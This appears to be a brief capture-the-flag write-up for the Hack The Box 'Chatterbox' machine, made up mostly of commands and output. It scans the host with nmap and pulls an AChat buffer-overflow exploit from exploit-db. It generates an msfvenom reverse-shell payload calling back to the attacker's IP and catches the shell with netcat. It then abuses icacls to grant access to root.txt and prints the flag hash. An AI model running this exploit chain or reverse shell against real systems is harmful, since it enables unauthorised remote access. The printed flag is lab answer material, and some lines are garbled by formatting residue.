## **ACHAT EXPLOIT**

## **BUFFEROVERFLOW**

Nmap -p- 10.10.10.74 > scan1

nmap -p 9255,9256 -sC -sV -Pn -T5 10.10.10.74 > scan

PORT STATE SERVICE VERSION

9255/tcp open http AChat chat system httpd

|\_http-server-header: AChat

\_http-title: Site doesn't have a title.

9256/tcp open achat AChat chat system

root@kali:/home/kali/Desktop/hackthebox/chatterbox# searchsploit achat

 $root@kali:/home/kali/Desktop/hackthebox/chatterbox\# cp / usr/share/exploitdb/exploits/windows/remote/36025.py\ .$ 

msfvenom -a x86 --platform Windows -p windows/shell\_reverse\_tcp LHOST=10.10.14.16 LPORT=443 -e x86/unicode\_mixed -b

Replace the output in 36025.py

root@kali:/home/kali# nc -nlvp 443

root@kali:/home/kali/Desktop/hackthebox/chatterbox# python 36025.py

SHELL GAINED!!!!

C:\Users\Administrator\Desktop>icacls root.txt

icacls root.txt

root.txt CHATTERBOX\Administrator:(F)

dir/q/a

Volume in drive C has no label.

Volume Serial Number is 9034-6528

Directory of C:\Users\Administrator\Desktop

12/10/2017 07:50 PM  $\,\,$  BUILTIN\Administrators .

12/10/2017 07:50 PM  $\,$  <DIR>  $\,$  NT AUTHORITY\SYSTEM  $\,$  ..

12/10/2017 07:08 PM 282 BUILTIN\Administrators desktop.ini

2 File(s) 314 bytes

2 Dir(s) 18,162,794,496 bytes free

C:\Users\Administrator\Desktop>icacls root.txt /grant Alfred:(F)

icacls root.txt /grant Alfred:(F)

processed file: root.txt

Successfully processed 1 files; Failed processing 0 files

C:\Users\Administrator\Desktop>type root.txt

type root.txt

a673d1b1fa95c276c5ef2aa13d9dcc7c